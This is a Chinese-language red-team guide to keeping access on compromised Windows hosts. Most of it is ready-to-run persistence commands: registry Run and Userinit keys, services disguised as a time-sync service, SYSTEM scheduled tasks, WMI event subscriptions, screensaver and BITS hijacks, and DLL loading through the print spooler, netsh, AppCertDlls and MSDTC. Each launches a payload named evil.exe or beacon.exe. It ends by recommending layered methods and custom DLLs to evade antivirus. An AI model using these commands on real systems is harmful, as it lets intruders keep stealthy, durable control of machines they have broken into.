Windows权限维持技术详解
0x00 前言与场景
在红队行动中,获取shell后需要确保权限持久化。本文整理Windows环境下多种权限维持方法,适用于不同权限级别和场景。
0x01 Startup目录
权限要求:普通用户或管理员均可
方法:
- 将程序或快捷方式放入以下目录:
- 当前用户:
C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup - 所有用户:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
- 当前用户:
特点:简单易用,但容易被发现
0x02 注册表自启动项
权限要求:普通用户或管理员均可
关键注册表项:
-
Load键:
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load -
Userinit键:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit- 可添加多个程序,如:
userinit.exe,evil.exe
- 可添加多个程序,如:
-
Explorer\Run键:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RunHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
-
RunServicesOnce键:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnceHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
-
RunServices键:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
-
RunOnce\Setup键:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\SetupHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
-
RunOnce键:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
-
Run键:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
写入命令:
reg add "XXXX" /v evil /t REG_SZ /d "[Absolute Path]\evil.exe"
0x03 服务持久化
权限要求:管理员权限(未降权)
方法1:直接创建服务
sc create evil binpath= "cmd.exe /k [Absolute Path]evil.exe" start= "auto" obj= "LocalSystem"
方法2:通过svchost加载DLL服务
32位系统:
sc create TimeSync binPath= "C:\Windows\System32\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:32
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:32
sc start TimeSync
64位系统注册32位服务:
sc create TimeSync binPath= "C:\Windows\Syswow64\svchost.exe -k netsvr" start= auto obj= LocalSystem
[...其余命令与32位相同,但使用/reg:32...]
64位系统:
[...与32位相同,但使用/reg:64...]
注意:不要覆盖已存在的Svchost键值
0x04 计划任务
权限要求:管理员或普通用户
基本命令:
SCHTASKS /Create /RU SYSTEM /SC ONSTART /RL HIGHEST /TN \Microsoft\Windows\evil\eviltask /TR C:\Users\hunter\Desktop\evil.exe
特点:
- 可设置多种触发条件(登录、启动、空闲等)
- 命令行功能有限,无法配置高级选项
- 进程由taskeng.exe拉起
0x05 WMI事件订阅
权限要求:管理员权限
实现步骤:
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 310"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="evilConsumer", ExecutablePath="C:\Users\hunter\Desktop\beacon.exe",CommandLineTemplate="C:\Users\hunter\Desktop\beacon.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"evil\"", Consumer="CommandLineEventConsumer.Name=\"evilConsumer\""
特点:基于事件触发,隐蔽性较好
0x06 屏幕保护程序
权限要求:普通用户
注册表设置:
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f
reg add "hkcu\control panel\desktop" /v ScreenSaveActive /d 1 /f
reg add "hkcu\control panel\desktop" /v ScreenSaverIsSecure /d 0 /f
reg add "hkcu\control panel\desktop" /v ScreenSaveTimeOut /d 60 /f
特点:
- 最短触发时间60秒
- 由winlogon.exe拉起
- 仅对当前用户有效
0x07 后台智能传输服务(BITS)
权限要求:管理员(可绕过UAC)
实现步骤:
bitsadmin /create evil
bitsadmin /addfile evil "C:\Users\hunter\Desktop\beacon.exe" "C:\Users\hunter\Desktop\beacon.exe"
bitsadmin.exe /SetNotifyCmdLine evil "C:\Users\hunter\Desktop\beacon.exe" NUL
bitsadmin /Resume evil
特点:
- 任务默认持续90天
- 由svchost.exe -k netsvcs拉起
- 可绕过常见启动项检查工具
0x08 后台打印程序服务
权限要求:管理员权限
实现步骤:
- 将恶意DLL放入
C:\Windows\System32\ - 添加注册表项:
reg add "hklm\system\currentcontrolset\control\print\monitors\monitor" /v "Driver" /d "monitor.dll" /t REG_SZ
特点:DLL被加载到spoolsv.exe进程,隐蔽性强
0x09 Netsh Helper DLL
权限要求:管理员权限
实现步骤:
netsh add helper [Absolute evil DLL path]
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "cmd /c C:\Windows\System32\netsh"
特点:DLL被netsh加载,隐蔽性较强
0x0A AppCertDlls注册表项
权限要求:管理员权限
原理:当进程调用CreateProcess等API时,会加载该注册表项指定的DLL
注册表路径:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls
特点:隐蔽性高,但需自定义DLL避免阻塞
0x0B MSDTC服务
权限要求:管理员权限
实现步骤:
- 在System32下放置恶意oci.dll
- 设置服务自启:
sc qc msdtc
sc config msdtc start= auto
特点:DLL被加载到msdtc.exe进程,隐蔽性强
总结
- 用户层持久化需借助Windows自带功能实现隐蔽
- 不同方法适用于不同权限级别和场景
- 建议准备多种方法互为备份
- 实际应用中需自定义DLL实现免杀和稳定性
推荐组合:
- 普通用户:Startup目录 + 屏幕保护 + AppCertDlls
- 管理员:服务 + WMI + BITS + 打印服务